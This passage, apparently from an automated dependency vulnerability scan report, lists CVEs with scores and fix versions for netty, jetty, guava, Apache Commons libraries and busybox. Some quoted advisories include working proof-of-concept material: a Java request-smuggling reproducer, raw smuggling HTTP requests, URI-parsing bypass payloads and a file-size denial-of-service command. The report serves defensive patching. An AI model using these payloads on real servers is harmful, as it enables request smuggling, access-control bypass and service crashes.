hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.11.0 (maven) - -pkg:maven/commons-io/commons-io@2.11.0
-high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
- -
Description -
- -Uncontrolled Resource Consumption vulnerability in Apache Commons IO. - -The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. - - -This issue affects Apache Commons IO: from 2.0 before 2.14.0. - -Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) - -pkg:maven/commons-beanutils/commons-beanutils@1.9.4
-high 8.8: CVE--2025--48734 Improper Access Control - - - - - - - - -
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
- -
Description -
- -Improper Access Control vulnerability in Apache Commons. - - - -A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. - - - - - -Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). -Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. - -This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils - - 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. - - -Users of the artifact org.apache.commons:commons-beanutils2 - - 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.96.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
- -
Description -
- -### Summary -The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors - -### Details -1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. -2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits - -### PoC - -Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder - - -Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 - -### Impact -Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
-medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
- -medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. - -So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. - -
-
- -low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
- -
Description -
- -If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. - -```java -if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) -execCmd = "\"" + execCmd + "\""; -``` - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-common@4.1.96.Final
-medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
- -
Description -
- -### Summary -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - -### Details -A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv -This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. - - -### PoC -The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. -When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. - -### Impact -Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv - -
-
- -medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
- -
Description -
- -### Summary - -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - - -### Details - -When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. - -At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. - -1 - -If netty finds this files, it reads them and loads them into memory. - -By default : - -- The JVM maximum memory size is set to 1 GB, -- A non-privileged user can create a directory at `C:\` and create files within it. - -2 - -3 - -the source code identified : -https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java - -Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. - -### PoC - -Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. - -To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) - -``` -cd C:\etc -fsutil file createnew os-release 3000000000 -``` - -4 - -5 - -The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). - -The vulnerability was tested on the 4.1.112.Final version. - -The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 - -### Impact - -By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. - -This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. - -Client mode : - -6 - -Server mode : - -7 - -somaxconn : - -8 - -### Severity - -- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. -- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). -- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. -- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. -- Scope : "Unchanged" because only Netty is affected by the vulnerability. -- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. -- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. -- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
- -medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency - - - - - - - - -
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
